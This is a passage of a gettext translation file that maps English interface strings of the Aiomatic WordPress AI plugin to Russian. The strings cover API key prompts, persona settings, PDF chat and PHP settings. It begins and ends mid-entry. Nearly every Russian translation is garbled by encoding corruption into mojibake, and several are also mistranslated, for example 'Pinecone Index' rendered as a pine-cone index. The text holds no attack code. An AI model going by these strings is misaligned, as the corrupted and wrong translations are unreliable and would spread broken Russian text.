res/aiomatic-limits-statistics.php:1716 res/aiomatic-review-list.php:2447 #: res/aiomatic-rules-list.php:2576 res/aiomatic-youtube-list.php:2349 msgid "Page" msgstr "Страница" #: res/aiomatic-embeddings.php:395 res/aiomatic-spinner-list.php:4443 msgid "Page ID:" msgstr "ID приложениÑ" #: res/aiomatic-embeddings.php:411 res/aiomatic-spinner-list.php:4459 msgid "Page Name:" msgstr "Ðазвание Ñтраницы:" #: aiomatic-automation.php:740 aiomatic-automation.php:771 #: aiomatic-automation.php:997 msgid "Page Where to Publish Posts" msgstr "Страница, где публиковать поÑÑ‚Ñ‹" #: res/aiomatic-assistants.php:235 res/aiomatic-automation-list.php:2304 #: res/aiomatic-automation-list.php:2418 res/aiomatic-chatbot.php:854 #: res/aiomatic-chatbot.php:2354 msgid "Page: " msgstr "Страница:" #: res/aiomatic-training.php:280 msgid "Pages" msgstr "Страницы" #: res/aiomatic-amazon-list.php:547 res/aiomatic-amazon-list.php:3171 #: res/aiomatic-review-list.php:474 res/aiomatic-review-list.php:3156 #: res/aiomatic-rules-list.php:480 res/aiomatic-rules-list.php:3323 #: res/aiomatic-single-list.php:1433 res/aiomatic-single-list.php:3421 #: res/aiomatic-single-list.php:4755 res/aiomatic-single-list.php:5979 #: res/aiomatic-youtube-list.php:483 res/aiomatic-youtube-list.php:3056 msgid "Paragraph" msgstr "Ðбзац" #: res/aiomatic-embeddings.php:655 res/aiomatic-spinner-list.php:4763 msgid "Parent" msgstr "РодительÑкаÑ" #: res/aiomatic-amazon-list.php:95 res/aiomatic-review-list.php:95 #: res/aiomatic-rules-list.php:95 res/aiomatic-single-list.php:95 #: res/aiomatic-single-list.php:233 res/aiomatic-youtube-list.php:95 msgid "Pashto" msgstr "Пушту" #: res/aiomatic-languages.php:95 msgid "Pashto (Google Translate)" msgstr "Пушту (переводчик гугл)" #: res/aiomatic-main.php:2737 msgid "" "Pass in a style preset to guide the image model towards a particular style. " "Default is NONE." msgstr "" "Передайте предуÑтановку ÑтилÑ, чтобы привеÑти модель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ðº " "определенному Ñтилю. По умолчанию ÐЕТ." #: res/aiomatic-main.php:4359 msgid "Path to phantomjs" msgstr "Путь к phantomjs" #: res/aiomatic-chatbot.php:637 msgid "PDF Chat" msgstr "PDF-чат" #: res/aiomatic-chatbot.php:2054 msgid "PDF Chat Settings:" msgstr "ÐаÑтройки PDF-чата:" #: aiomatic-helpers.php:404 msgid "PDF File Parsing And Storage Using OmniBlocks" msgstr "Ðнализ и хранение PDF-файлов Ñ Ð¸Ñпользованием OmniBlocks" #: aiomatic-helpers.php:398 msgid "PDF File Storage And Parsing" msgstr "Хранение и анализ PDF-файлов" #: res/aiomatic-chatbot.php:2177 msgid "PDF File Uploaded Failed User Message:" msgstr "Ошибка Згрузки PDF-файла. Сообщение ПользователÑ:" #: res/aiomatic-chatbot.php:2145 msgid "PDF File Uploaded Successfully User Message:" msgstr "PDF-файл УÑпешно Загружен Сообщение ПользователÑ:" #: res/aiomatic-chatbot.php:2161 msgid "PDF Session Ended User Message:" msgstr "Сообщение Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ PDF-ÑеÑÑии о завершении ÑеанÑа:" #: res/aiomatic-single-list.php:542 res/aiomatic-single-list.php:7328 #: res/aiomatic-spinner-list.php:3841 res/aiomatic-spinner-list.php:3932 msgid "Pending" msgstr "Ðа раÑÑмотрении" #: aiomatic-automatic-ai-content-writer.php:13293 #: aiomatic-automatic-ai-content-writer.php:14176 #: res/aiomatic-amazon-list.php:1925 res/aiomatic-amazon-list.php:4500 #: res/aiomatic-automation-list.php:655 res/aiomatic-automation-list.php:1544 #: res/aiomatic-automation-list.php:3122 res/aiomatic-automation-list.php:4011 #: res/aiomatic-automation-list.php:5875 res/aiomatic-automation-list.php:6768 #: res/aiomatic-csv-list.php:374 res/aiomatic-csv-list.php:1503 #: res/aiomatic-review-list.php:1994 res/aiomatic-review-list.php:4653 #: res/aiomatic-rules-list.php:2123 res/aiomatic-rules-list.php:4889 #: res/aiomatic-youtube-list.php:1896 res/aiomatic-youtube-list.php:4428 msgid "Pending -> Moderate" msgstr "Ð’ ожидании -> МодерациÑ" #: res/aiomatic-main.php:8364 res/aiomatic-main.php:8883 msgid "People" msgstr "Люди" #: res/aiomatic-amazon-list.php:2154 res/aiomatic-amazon-list.php:4849 #: res/aiomatic-automation-list.php:4717 res/aiomatic-automation-list.php:7542 #: res/aiomatic-csv-list.php:701 res/aiomatic-csv-list.php:1953 #: res/aiomatic-review-list.php:2223 res/aiomatic-review-list.php:5002 #: res/aiomatic-rules-list.php:2352 res/aiomatic-rules-list.php:5239 #: res/aiomatic-youtube-list.php:2125 res/aiomatic-youtube-list.php:4777 msgid "Permanently Delete All Posts" msgstr "ÐавÑегда удалить вÑе ПоÑÑ‚Ñ‹" #: res/aiomatic-main.php:1951 msgid "Perplexity AI API Settings" msgstr "ÐаÑтройки API Perplexity AI" #: res/aiomatic-amazon-list.php:42 res/aiomatic-review-list.php:42 #: res/aiomatic-rules-list.php:42 res/aiomatic-single-list.php:42 #: res/aiomatic-single-list.php:180 res/aiomatic-youtube-list.php:42 msgid "Persian" msgstr "ПерÑидÑкий" #: res/aiomatic-languages.php:41 msgid "Persian (Google Translate)" msgstr "ПерÑидÑкий (переводчик Google)" #: res/aiomatic-chatbot.php:639 msgid "Persistent Chat Logs" msgstr "Журналы ÑохранÑемого чата" #: res/aiomatic-chatbot.php:1340 res/aiomatic-chatbot.php:4725 msgid "Persistent Chat:" msgstr "ПоÑтоÑнный чат:" #: res/aiomatic-chatbot.php:5550 msgid "Persona Avatar" msgstr " Ðватар ПерÑоны" #: res/aiomatic-chatbot.php:5530 msgid "Persona Context Prompt*" msgstr "КонтекÑтнай промпт перÑонажа*" #: aiomatic-automatic-ai-content-writer.php:15607 msgid "Persona draft updated." msgstr "Обновлен черновой вариант перÑоны." #: res/aiomatic-chatbot.php:5540 msgid "Persona First Message" msgstr "ПерÑона Первое Ñообщение" #: res/aiomatic-chatbot.php:628 msgid "Persona Manager" msgstr "Менеджер ПерÑон" #: res/aiomatic-chatbot.php:1924 res/aiomatic-chatbot.php:3763 msgid "Persona Name Color:" msgstr "Цвет имени перÑоны:" #: res/aiomatic-chatbot.php:5512 msgid "Persona Name*" msgstr "Ð˜Ð¼Ñ ÐŸÐµÑ€Ñоны*" #: aiomatic-automatic-ai-content-writer.php:15603 msgid "Persona published." msgstr "ПерÑона опубликована." #: aiomatic-automatic-ai-content-writer.php:15602 #, php-format msgid "Persona restored to revision from %s" msgstr "ПерÑона воÑÑтановлена ​​до верÑии %s" #: res/aiomatic-chatbot.php:5521 msgid "Persona Role" msgstr "ПерÑона Роль" #: res/aiomatic-chatbot.php:1940 res/aiomatic-chatbot.php:3779 msgid "Persona Role Color:" msgstr "Цвет роли перÑоны:" #: aiomatic-automatic-ai-content-writer.php:15604 msgid "Persona saved." msgstr "ПерÑона Ñохранена." #: aiomatic-automatic-ai-content-writer.php:15606 #, php-format msgid "Persona scheduled for: %1$s." msgstr "ПерÑона запланирована на: %1$s." #: res/aiomatic-chatbot.php:627 msgid "Persona Selector" msgstr "Выбор перÑоны" #: aiomatic-automatic-ai-content-writer.php:15605 msgid "Persona submitted." msgstr "ПерÑона отправлена." #: aiomatic-automatic-ai-content-writer.php:15598 #: aiomatic-automatic-ai-content-writer.php:15601 msgid "Persona updated." msgstr "ПерÑона обновлена." #: res/aiomatic-main.php:8026 msgid "Pexels API Options:" msgstr "Параметры API Pexels:" #: res/aiomatic-main.php:8039 msgid "Pexels App ID:" msgstr "Pexels App ID:" #: aiomatic-automatic-ai-content-writer.php:13831 #: aiomatic-automatic-ai-content-writer.php:14617 #: res/aiomatic-automation-list.php:1193 res/aiomatic-automation-list.php:1981 #: res/aiomatic-automation-list.php:3660 res/aiomatic-automation-list.php:4448 #: res/aiomatic-automation-list.php:6413 res/aiomatic-automation-list.php:7209 msgid "PhantomJS (HeadlessBrowserAPI)" msgstr "PhantomJS (HeadlessBrowserAPI)" #: aiomatic-automatic-ai-content-writer.php:13778 #: aiomatic-automatic-ai-content-writer.php:14564 #: res/aiomatic-automation-list.php:1140 res/aiomatic-automation-list.php:1928 #: res/aiomatic-automation-list.php:3607 res/aiomatic-automation-list.php:4395 #: res/aiomatic-automation-list.php:6360 res/aiomatic-automation-list.php:7156 msgid "PhantomJS (needs to be installed on server)" msgstr "PhantomJS (необходимо уÑтановить на Ñервере)" #: res/aiomatic-main.php:4323 msgid "PhantomJS Path On Server:" msgstr "Путь PhantomJS на Ñервере:" #: res/aiomatic-main.php:8278 res/aiomatic-main.php:8760 msgid "Photo" msgstr "Фото" #: res/aiomatic-main.php:8082 msgid "Photo License: " msgstr "Ð›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ Ð½Ð° Фото: " #: res/aiomatic-main.php:2826 msgid "photographic" msgstr "фотографичеÑкий" #: res/aiomatic-logs.php:83 msgid "PHP Curl:" msgstr "PHP Curl:" #: res/aiomatic-logs.php:79 msgid "PHP DateTime Class:" msgstr "КлаÑÑ PHP DateTime:" #: res/aiomatic-logs.php:211 msgid "PHP Max Input Vars" msgstr "PHP Max Input Vars" #: res/aiomatic-logs.php:211 msgid "PHP Max Input Vars (optional):" msgstr "PHP Max Input Vars (optional):" #: res/aiomatic-logs.php:413 #| msgid "PHP Max Upload Size:" msgid "PHP Max Upload Size" msgstr "МакÑимальный размер загрузки PHP" #: res/aiomatic-logs.php:75 msgid "PHP Memory Limit:" msgstr "Лимит памÑти PHP:" #: res/aiomatic-logs.php:189 msgid "PHP Post Max Size" msgstr "PHP Post Max Size" #: res/aiomatic-logs.php:189 msgid "PHP Post Max Size:" msgstr "PHP Post Max Size:" #: res/aiomatic-logs.php:194 msgid "PHP Time Limit" msgstr "PHP Time Limit" #: res/aiomatic-logs.php:194 msgid "PHP Time Limit:" msgstr "PHP Time Limit:" #: res/aiomatic-logs.php:180 msgid "PHP Version" msgstr "PHP-верÑиÑ" #: res/aiomatic-logs.php:180 msgid "PHP Version:" msgstr "ВерÑÐ¸Ñ PHP:" #: aiomatic-automation.php:847 msgid "Pin Description" msgstr "ОпиÑание Пина" #: aiomatic-automation.php:840 msgid "Pin Title" msgstr "Ðазвание Пина" #: aiomatic-automation.php:854 msgid "Pin URL" msgstr "URL Пина" #: res/aiomatic-main.php:6532 msgid "Pinecone" msgstr "Pinecone" #: res/aiomatic-main.php:2106 msgid "Pinecone API:" msgstr "Pinecone API:" #: res/aiomatic-main.php:6557 msgid "Pinecone Index:" msgstr "Ð˜Ð½Ð´ÐµÐºÑ ÑˆÐ¸ÑˆÐºÐ¸:" #: res/aiomatic-main.php:6581 msgid "Pinecone Namespace:" msgstr "ПроÑтранÑтво имен Pinecone:" #: res/aiomatic-main.php:2117 msgid "Pinecone.io" msgstr "Pinecone.io" #: aiomatic-helpers.php:468 msgid "Pinterestomatic Post Generator" msgstr "Генератор поÑтов Pinterestomatic" #: res/aiomatic-main.php:8232 msgid "Pixabay API Options:" msgstr "Параметры API Pixabay:" #: res/aiomatic-main.php:8244 msgid "Pixabay App ID:" msgstr "Pixabay App ID:" #: res/aiomatic-main.php:8717 msgid "Pixabay Direct Scraping Options:" msgstr "Варианты прÑмого парÑинга Pixabay:" #: res/aiomatic-main.php:2831 msgid "pixel-art" msgstr "пикÑель-арт" #: res/aiomatic-main.php:8384 res/aiomatic-main.php:8903 msgid "Places" msgstr "МеÑта" #: res/aiomatic-playground.php:32 msgid "Plagiarism Checker" msgstr "Проверка Плагиата" #: res/aiomatic-main.php:2329 msgid "Plagiarism Checker/AI Detector API Key:" msgstr " Проверка Плагиата/AI Detector API Key:" #: res/aiomatic-main.php:2341 msgid "PlagiarismCheck API Key List (Optional):" msgstr "СпиÑок ключей API PlagiarismCheck (необÑзательно):" #: res/aiomatic-main.php:2330 msgid "PlagiarismCheck API:" msgstr "PlagiarismCheck API:" #: res/aiomatic-amazon-list.php:548 res/aiomatic-amazon-list.php:3176 #: res/aiomatic-review-list.php:475 res/aiomatic-review-list.php:3161 #: res/aiomatic-rules-list.php:481 res/aiomatic-rules-list.php:3328 #: res/aiomatic-single-list.php:1434 res/aiomatic-single-list.php:3422 #: res/aiomatic-single-list.php:4756 res/aiomatic-single-list.php:5980 #: res/aiomatic-youtube-list.php:484 res/aiomatic-youtube-list.php:3061 msgid "Plain Text" msgstr "ПроÑтой текÑÑ‚" #: res/aiomatic-main.php:3996 msgid "Player Max Height (Pixels):" msgstr "Плеер МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ‹Ñота (пикÑели):" #: res/aiomatic-main.php:3975 msgid "Player Max Width (Pixels):" msgstr "Плеер МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ ÑˆÐ¸Ñ€Ð¸Ð½Ð° (ПикÑели):" #: res/aiomatic-playground.php:21 msgid "Playgrounds" msgstr "Playgrounds" #: res/aiomatic-main.php:1615 msgid "playlists on YouTube." msgstr "плейлиÑÑ‚Ñ‹ на YouTube." #: res/aiomatic-amazon-list.php:2411 res/aiomatic-automation-list.php:4973 #: res/aiomatic-csv-list.php:958 res/aiomatic-review-list.php:2480 #: res/aiomatic-rules-list.php:2608 res/aiomatic-youtube-list.php:2382 msgid "Please change rule settings, as your titles are all posted." msgstr "" "ПожалуйÑта, измените ÐаÑтройки Правил, так как вÑе ваши Заголовки " "опубликованы." #: res/aiomatic-amazon-list.php:2401 res/aiomatic-automation-list.php:4963 #: res/aiomatic-csv-list.php:948 res/aiomatic-review-list.php:2470 #: res/aiomatic-rules-list.php:2598 res/aiomatic-youtube-list.php:2372 msgid "Please check 'Activity and Logging' plugin menu for details." msgstr "" "ПожалуйÑта, проверьте меню Плагинов «ÐктивноÑÑ‚ÑŒ и ведение журнала» Ð´Ð»Ñ " "Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð´Ñ€Ð¾Ð±Ð½Ð¾Ð¹ информации." #: res/aiomatic-playground.php:45 msgid "" "Please check below the available playgrounds to test the plugin's features:" msgstr "" "ПожалуйÑта, проверьте доÑтупные AI Playgrounds ниже, чтобы протеÑтировать " "Функции Плагина:" #: res/aiomatic-amazon-list.php:1344 res/aiomatic-amazon-list.php:1471 #: res/aiomatic-amazon-list.php:1675 res/aiomatic-amazon-list.php:3898 #: res/aiomatic-amazon-list.php:4051 res/aiomatic-amazon-list.php:4242 #: res/aiomatic-review-list.php:1413 res/aiomatic-review-list.php:1540 #: res/aiomatic-review-list.php:1744 res/aiomatic-review-list.php:4051 #: res/aiomatic-review-list.php:4204 res/aiomatic-review-list.php:4395 #: res/aiomatic-rules-list.php:1163 res/aiomatic-rules-list.php:1232 #: res/aiomatic-rules-list.php:1546 res/aiomatic-rules-list.php:1673 #: res/aiomatic-rules-list.php:1873 res/aiomatic-rules-list.php:3924 #: res/aiomatic-rules-list.php:3981 res/aiomatic-rules-list.php:4299 #: res/aiomatic-rules-list.php:4452 res/aiomatic-rules-list.php:4631 #: res/aiomatic-single-list.php:2340 res/aiomatic-single-list.php:2602 #: res/aiomatic-single-list.php:2671 res/aiomatic-single-list.php:3090 #: res/aiomatic-single-list.php:4343 res/aiomatic-single-list.php:5657 #: res/aiomatic-single-list.php:7023 res/aiomatic-youtube-list.php:1300 #: res/aiomatic-youtube-list.php:1427 res/aiomatic-youtube-list.php:1631 #: res/aiomatic-youtube-list.php:3809 res/aiomatic-youtube-list.php:3962 #: res/aiomatic-youtube-list.php:4153 #, php-format msgid "" "Please check some tips and tricks about writing prompt commands, here." msgstr "" "ОзнакомьтеÑÑŒ Ñ Ð½ÐµÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ð¼Ð¸ Ñоветами и рекомендациÑми по напиÑанию Промптов здеÑÑŒ ." #: aiomatic-automatic-ai-content-writer.php:18088 msgid "" "Please enable curl PHP extension. Please contact your hosting provider's " "support to help you in this matter." msgstr "" "ПроÑьба включить curl PHP. ПожалуйÑта, ÑвÑжитеÑÑŒ Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¾Ð¹ вашего хоÑтинг-" "провайдера, чтобы помочь вам в Ñтом вопроÑе." #: aiomatic-automatic-ai-content-writer.php:1666 #: aiomatic-automatic-ai-content-writer.php:1694 msgid "Please enter a title idea/keyword" msgstr "ПожалуйÑта, введите Идею Заголовка/Ключевое Ñлово" #: res/aiomatic-main.php:1716 #, php-format msgid "" "Please input your Envato purchase code, to enable automatic updates in the " "plugin. To get your purchase code, please follow this tutorial. Info submitted to the registration " "server consists of: purchase code, site URL, site name, admin email. All " "these data will be used strictly for registration purposes." msgstr "" "ПожалуйÑта, введите Ñвой код покупки Envato, чтобы включить автоматичеÑкое " "обновление в Плагине. Чтобы получить код покупки, пожалуйÑта, Ñледуйте this tutorial. ИнформациÑ, отправлÑÐµÐ¼Ð°Ñ Ð½Ð° " "Ñервер региÑтрацAI, ÑоÑтоит из: кода покупки, URL Ñайта, имени Ñайта, адреÑа " "Ñлектронной почты админиÑтратора. Ð’Ñе Ñти данные будут иÑпользованы Ñтрого " "Ð´Ð»Ñ Ñ†ÐµÐ»ÐµÐ¹ региÑтрацAI." #: res/aiomatic-main.php:7979 msgid "Please insert image attribution text pattern" msgstr "ПожалуйÑта, вÑтавьте текÑтовое изображение" #: res/aiomatic-main.php:8465 msgid "Please insert image max width" msgstr "ПожалуйÑта, вÑтавьте изображение макÑимальной ширины" #: res/aiomatic-main.php:8984 msgid "Please insert image min height" msgstr "ПожалуйÑта, вÑтавьте изображение мин выÑота" #: res/aiomatic-main.php:8450 res/aiomatic-main.php:8969 msgid "Please insert image min width" msgstr "ПожалуйÑта, вÑтавьте изображение минимальной ширины" #: res/aiomatic-main.php:2970 msgid "Please insert the desired height for AI generated images" msgstr "ПожалуйÑта, введите желаемую выÑоту Ð´Ð»Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹, Ñозданных AI" #: res/aiomatic-main.php:7527 msgid "Please insert the desired height for featured images" msgstr "ПожалуйÑта, введите желаемую выÑоту Ð´Ð»Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ñ‹Ñ… изображений" #: res/aiomatic-main.php:2951 msgid "Please insert the desired width for AI generated images" msgstr "ПожалуйÑта, введите желаемую ширину Ð´Ð»Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹, Ñозданных AI" #: res/aiomatic-main.php:7508 msgid "Please insert the desired width for featured images" msgstr "ПожалуйÑта, введите желаемую ширину Ð´Ð»Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ñ‹Ñ… изображений" #: res/aiomatic-main.php:9009 msgid "Please insert the first list of sentences" msgstr "ПожалуйÑта, вÑтавьте первый ÑпиÑок предложений" #: res/aiomatic-main.php:5907 msgid "Please insert the global banned words list" msgstr "ПожалуйÑта, вÑтавьте глобальный ÑпиÑок запрещенных Ñлов" #: res/aiomatic-main.php:5869 msgid "Please insert the global required words list" msgstr "ПожалуйÑта, вÑтавьте глобальный ÑпиÑок обÑзательных Ñлов" #: res/aiomatic-main.php:9273 msgid "Please insert the keyword to be replaced" msgstr "ПожалуйÑта, введите ключевое Ñлово Ð´Ð»Ñ Ð·Ð°Ð¼ÐµÐ½Ñ‹" #: res/aiomatic-main.php:9274 msgid "Please insert the keyword to replace the search keyword" msgstr "" "ПожалуйÑта, введите ключевое Ñлово Ð´Ð»Ñ Ð·Ð°Ð¼ÐµÐ½Ñ‹ поиÑкового ключевого Ñлова" #: res/aiomatic-main.php:9275 msgid "Please insert the link to be added to the keyword" msgstr "ПожалуйÑта, вÑтавьте ÑÑылку Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² ключевое Ñлово" #: res/aiomatic-main.php:9046 msgid "Please insert the list of variables" msgstr "ПожалуйÑта, вÑтавьте ÑпиÑок переменных" #: res/aiomatic-main.php:9027 msgid "Please insert the second list of sentences" msgstr "ПожалуйÑта, вÑтавьте второй ÑпиÑок предложений" #: res/aiomatic-main.php:1922 msgid "Please insert your Anthropic Claude API Key" msgstr "ПожалуйÑта, вÑтавьте Ñвой API-ключ Anthropic Claude." #: res/aiomatic-main.php:2212 msgid "Please insert your D-ID API Key" msgstr "ПожалуйÑта, введите Ñвой ключ API D-ID" #: res/aiomatic-main.php:2167 msgid "Please insert your ElevenLabs.io API Key" msgstr "ПожалуйÑта, введите ключ API ElevenLabs.io" #: res/aiomatic-main.php:8070 msgid "Please insert your Flickr APP ID" msgstr "ПожалуйÑта, введите ваш идентификатор Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Flickr" #: res/aiomatic-main.php:1945 msgid "Please insert your Google MakerSuite AI API Key" msgstr "ПожалуйÑта, введите Ñвой ключ API Google MakerSuite AI" #: res/aiomatic-main.php:2189 msgid "Please insert your Google Text-to-Speech API Key" msgstr "ПожалуйÑта, введите Ñвой ключ Google Text-to-Speech API " #: res/aiomatic-main.php:1871 msgid "Please insert your OpenAI/AiomaticAPI API Key" msgstr "ПожалуйÑта, введите Ñвой ключ API OpenAI/AiomaticAPI" #: res/aiomatic-main.php:1991 msgid "Please insert your OpenRouter AI API Key" msgstr "Введите ключ API OpenRouter AI" #: res/aiomatic-main.php:1968 msgid "Please insert your Perplexity AI API Key" msgstr "ПожалуйÑта, введите Ñвой ключ API Perplexity AI" #: res/aiomatic-main.php:8046 msgid "Please insert your Pexels API key" msgstr "ПожалуйÑта, введите ваш Pexels API ключ" #: res/aiomatic-main.php:2122 msgid "Please insert your Pinecone.io API Key" msgstr "ПожалуйÑта, введите ключ API Pinecone.io" #: res/aiomatic-main.php:8251 msgid "Please insert your Pixabay API key" msgstr "ПожалуйÑта, вÑтавьте клавишу Pixabay API" #: res/aiomatic-main.php:2348 msgid "Please insert your PlagiarismCheck API Key" msgstr "ПожалуйÑта, вÑтавьте Ñвой API-ключ PlagiarismCheck." #: res/aiomatic-main.php:6319 msgid "Please insert your premium text spinner service password" msgstr "ПожалуйÑта, введите ваш премиальный текÑтовый ÑервиÑный пароль" #: res/aiomatic-main.php:6298 msgid "Please insert your premium text spinner service user name" msgstr "" "ПожалуйÑта, введите ваше премиум текÑтовое Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ñлужбы Ñпиннера" #: res/aiomatic-main.php:2143 msgid "Please insert your Qdrant API Key" msgstr "ПожалуйÑта, вÑтавьте Ñвой ключ API Qdrant." #: res/aiomatic-main.php:2061 msgid "Please insert your Stability.AI API Key" msgstr "ПожалуйÑта, введите Ñвой ключ Stability.AI API" #: res/aiomatic-main.php:2325 msgid "Please insert your TextRazor API Key" msgstr "ПожалуйÑта, введите Ñвой ключ API TextRazor" #: res/aiomatic-main.php:2371 msgid "" "Please insert your YouTube API Key. You can also insert a list of comma " "separated API keys. The plugin will select one to user, each time when it " "runs, at random." msgstr "" "ПожалуйÑта, вÑтавьте Ñвой ключ API YouTube. Ð’Ñ‹ также можете вÑтавить ÑпиÑок " "ключей API, Разделенных запÑтыми. Плагин будет выбирать один Ð´Ð»Ñ " "Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ ÐºÐ°Ð¶Ð´Ñ‹Ð¹ раз при запуÑке Ñлучайным образом." #: aiomatic-shortcodes-file.php:150 msgid "Please log in to your account to see usage info." msgstr "" "ПожалуйÑта, войдите в Ñвою учетную запиÑÑŒ, чтобы увидеть информацию об " "иÑпользованAI." #: res/aiomatic-playground.php:42 msgid "" "Please note that you will also be able to use the shortcodes provided at the " "bottom of the forms which can be used in the AI Playground. These will add " "the same forms also to the front end of your site." msgstr "" "Обратите внимание, что вы также Ñможете иÑпользовать Шорткоды, указанные в " "нижней чаÑти Форм, которые можно иÑпользовать на AI Playground. Они добавÑÑ‚ " "те же Формы и в Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта." #: res/aiomatic-training.php:75 msgid "" "Please note, I can not guarantee that the fine-tuned model will work well " "for your use case. As I mentioned before, dataset quality is very important. " "If you have a small dataset, you might not get good results. If you have a " "very large dataset with really well-defined prompt and completion pairs, you " "should get good results." msgstr "" "Обратите внимание: Ñ Ð½Ðµ могу гарантировать, что Ð´Ð¾Ñ€Ð°Ð±Ð¾Ñ‚Ð°Ð½Ð½Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒ будет " "хорошо работать Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ варианта иÑпользованиÑ. Как Ñ ÑƒÐ¿Ð¾Ð¼Ð¸Ð½Ð°Ð» ранее, " "качеÑтво набора данных очень важно. ЕÑли у Ð²Ð°Ñ Ð½ÐµÐ±Ð¾Ð»ÑŒÑˆÐ¾Ð¹ набор данных, вы " "можете не получить хороших результатов. ЕÑли у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ очень большой набор " "данных Ñ Ð´ÐµÐ¹Ñтвительно четко определенными парами Промпты и завершениÑ, вы " "должны получить хорошие результаты." #: aiomatic-automation.php:408 msgid "Please provide a single ASIN of an Amazon product (ex: B07RZ74VLR)." msgstr "Укажите один ASIN продукта Amazon (например: B07RZ74VLR)." #: res/aiomatic-review-list.php:220 res/aiomatic-single-list.php:1041 msgid "" "Please provide a single ASIN of an Amazon product (ex: B07RZ74VLR). To " "create multiple product review posts, add a different ASIN, each on a new " "line." msgstr "" "Укажите один ASIN продукта Amazon (например: B07RZ74VLR). Чтобы Ñоздать " "неÑколько публикаций Ñ Ð¾Ð±Ð·Ð¾Ñ€Ð°Ð¼Ð¸ продуктов, добавьте разные ASIN, каждый в " "новой Ñтроке." #: res/aiomatic-amazon-list.php:220 res/aiomatic-single-list.php:1025 msgid "" "Please provide the a search keyword for Amazon products to be included in " "the created article. Alternatively, you can provide a comma separated list " "of product ASINs (ex: B07RZ74VLR,B07RX6FBFR). To create multiple posts from " "the ASIN lists, add a new comma separated ASIN list to a new line." msgstr "" "Укажите ключевое Ñлово Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка продуктов Amazon, которые будут включены в " "Ñозданную Ñтатью. Ðльтернативно вы можете предоÑтавить ÑпиÑок ASIN продуктов," " разделенных запÑтыми (например: B07RZ74VLR, B07RX6FBFR). Чтобы Ñоздать " "неÑколько Ñообщений из ÑпиÑков ASIN, добавьте новый ÑпиÑок ASIN, разделенный " "запÑтыми, в новую Ñтроку." #: aiomatic-automation.php:439 msgid "" "Please provide the a search keyword for Amazon products to be included in " "the created content. Alternatively, you can provide a comma separated list " "of product ASINs (ex: B07RZ74VLR,B07RX6FBFR)." msgstr "" "Укажите ключевое Ñлово Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка продуктов Amazon, которые будут включены в " "Ñоздаваемый контент. Ðльтернативно вы можете предоÑтавить ÑпиÑок ASIN " "продуктов, разделенных запÑтыми (например: B07RZ74VLR, B07RX6FBFR)." #: aiomatic-automation.php:615 msgid "Please provide the a search keyword for the related entities search." msgstr "Укажите ключевое Ñлово Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка ÑвÑзанных объектов." #: res/aiomatic-single-list.php:1009 res/aiomatic-youtube-list.php:220 msgid "" "Please provide the URLs to the YouTube videos (one per line). You can also " "enter a YouTube handle URL (channel or user), example: https://www.youtube." "com/@CodeRevolutionTV/videos - if you have added a YouTube API key in the " "plugin's 'Main Settings' menu, this will list all recent videos from this " "specific YouTube channel. Otherwise, it will list videos which appear also " "on the featured page of the channel. Videos added here must be public and " "have captions available (uploaded or auto generated). In case auto generated " "captions are used, the quality of the created article might be lower. Nested " "Shortcodes also supported!" msgstr "" "Укажите URL-адреÑа видеороликов YouTube (по одному в каждой Ñтроке). Ð’Ñ‹ " "также можете ввеÑти URL-Ð°Ð´Ñ€ÐµÑ Ð´ÐµÑкриптора YouTube (канала или пользователÑ), " "например: https://www.youtube.com/@CodeRevolutionTV/videos — еÑли вы " "добавили ключ YouTube API в меню «ОÑновные наÑтройки» плагина, Ñто " "перечиÑлит вÑе поÑледние видео Ñ Ñтого конкретного канала YouTube. Ð’ " "противном Ñлучае будут перечиÑлены видео, которые также поÑвлÑÑŽÑ‚ÑÑ Ð½Ð° " "главной Ñтранице канала. ДобавлÑемые Ñюда видео должны быть общедоÑтупными и " "иметь доÑтупные Ñубтитры (загруженные или автоматичеÑки Ñгенерированные). Ð’ " "Ñлучае иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки генерируемых подпиÑей качеÑтво " "Ñоздаваемой Ñтатьи может быть ниже. Также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие " "коды!" #: aiomatic-shortcodes-file.php:3171 aiomatic-shortcodes-file.php:3322 #: aiomatic-shortcodes-file.php:3424 aiomatic-shortcodes-file.php:3520 #: aiomatic-shortcodes-file.php:3890 msgid "Please select a prompt" msgstr "ПожалуйÑта, выберите Промпт" #: aiomatic-automatic-ai-content-writer.php:1668 #: aiomatic-automatic-ai-content-writer.php:1695 msgid "Please select at least one checkbox to generate!" msgstr "ПожалуйÑта, уÑтановите Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ один флажок 